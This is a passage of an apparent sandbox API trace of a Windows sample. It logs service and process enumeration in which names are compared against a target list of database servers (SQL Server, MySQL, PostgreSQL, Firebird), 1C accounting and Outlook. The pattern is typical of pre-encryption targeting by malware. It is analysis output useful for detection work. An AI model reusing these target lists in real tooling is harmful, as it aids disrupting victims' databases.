lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0263.339] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0263.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0263.339] lstrlenW (lpString="nsi") returned 3 [0263.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0263.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0263.339] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0263.339] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0263.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0263.339] lstrlenW (lpString="PlugPlay") returned 8 [0263.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0263.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0263.339] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0263.339] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0263.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0263.339] lstrlenW (lpString="Power") returned 5 [0263.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0263.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0263.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0263.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0263.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0263.339] lstrlenW (lpString="ProfSvc") returned 7 [0263.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0263.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0263.339] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0263.339] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0263.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0263.339] lstrlenW (lpString="RpcEptMapper") returned 12 [0263.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.340] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0263.340] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0263.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0263.340] lstrlenW (lpString="RpcSs") returned 5 [0263.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0263.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0263.340] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0263.340] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0263.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0263.340] lstrlenW (lpString="SamSs") returned 5 [0263.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0263.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0263.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0263.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0263.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0263.340] lstrlenW (lpString="Schedule") returned 8 [0263.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0263.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0263.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0263.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0263.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0263.340] lstrlenW (lpString="SENS") returned 4 [0263.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0263.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0263.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0263.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0263.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0263.340] lstrlenW (lpString="ShellHWDetection") returned 16 [0263.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.340] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0263.340] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0263.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0263.340] lstrlenW (lpString="Spooler") returned 7 [0263.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0263.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0263.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0263.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0263.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0263.341] lstrlenW (lpString="Themes") returned 6 [0263.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0263.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0263.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0263.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0263.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0263.341] lstrlenW (lpString="UxSms") returned 5 [0263.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0263.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0263.341] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0263.341] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0263.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0263.341] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dd458 | out: hHeap=0x2a0000) returned 1 [0263.341] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0263.342] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.343] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.343] lstrlenW (lpString="System") returned 6 [0263.343] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0263.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0263.343] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0263.343] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0263.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0263.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0263.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0263.343] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.343] lstrlenW (lpString="smss.exe") returned 8 [0263.343] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0263.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0263.343] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0263.343] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0263.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0263.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0263.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0263.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.344] lstrlenW (lpString="csrss.exe") returned 9 [0263.344] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.344] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.344] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.344] lstrlenW (lpString="wininit.exe") returned 11 [0263.344] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0263.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0263.344] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0263.344] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0263.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0263.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0263.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0263.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.345] lstrlenW (lpString="csrss.exe") returned 9 [0263.345] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.345] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.345] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.345] lstrlenW (lpString="winlogon.exe") returned 12 [0263.345] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0263.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0263.345] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0263.345] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0263.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0263.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0263.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0263.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.345] lstrlenW (lpString="services.exe") returned 12 [0263.345] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0263.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0263.345] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0263.345] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0263.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0263.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0263.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0263.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.346] lstrlenW (lpString="lsass.exe") returned 9 [0263.346] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0263.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0263.346] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0263.346] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0263.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0263.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0263.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0263.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0263.346] lstrlenW (lpString="lsm.exe") returned 7 [0263.346] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0263.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0263.346] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0263.346] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0263.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0263.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0263.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0263.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.347] lstrlenW (lpString="svchost.exe") returned 11 [0263.347] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.347] lstrlenW (lpString="svchost.exe") returned 11 [0263.347] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.347] lstrlenW (lpString="svchost.exe") returned 11 [0263.347] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.347] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0263.348] lstrlenW (lpString="LogonUI.exe") returned 11 [0263.348] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0263.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0263.348] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0263.348] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0263.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0263.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0263.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0263.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.348] lstrlenW (lpString="svchost.exe") returned 11 [0263.348] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.349] lstrlenW (lpString="svchost.exe") returned 11 [0263.349] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.349] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.349] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.349] lstrlenW (lpString="audiodg.exe") returned 11 [0263.349] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0263.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0263.349] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0263.349] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0263.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0263.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0263.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0263.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.349] lstrlenW (lpString="svchost.exe") returned 11 [0263.349] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.350] lstrlenW (lpString="svchost.exe") returned 11 [0263.350] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.350] lstrlenW (lpString="dllhost.exe") returned 11 [0263.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0263.351] lstrlenW (lpString="userinit.exe") returned 12 [0263.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.351] lstrlenW (lpString="dwm.exe") returned 7 [0263.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.351] lstrlenW (lpString="explorer.exe") returned 12 [0263.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.351] lstrlenW (lpString="spoolsv.exe") returned 11 [0263.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.352] lstrlenW (lpString="taskhost.exe") returned 12 [0263.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.352] lstrlenW (lpString="svchost.exe") returned 11 [0263.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0263.352] lstrlenW (lpString="payload2.exe") returned 12 [0263.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0263.352] lstrlenW 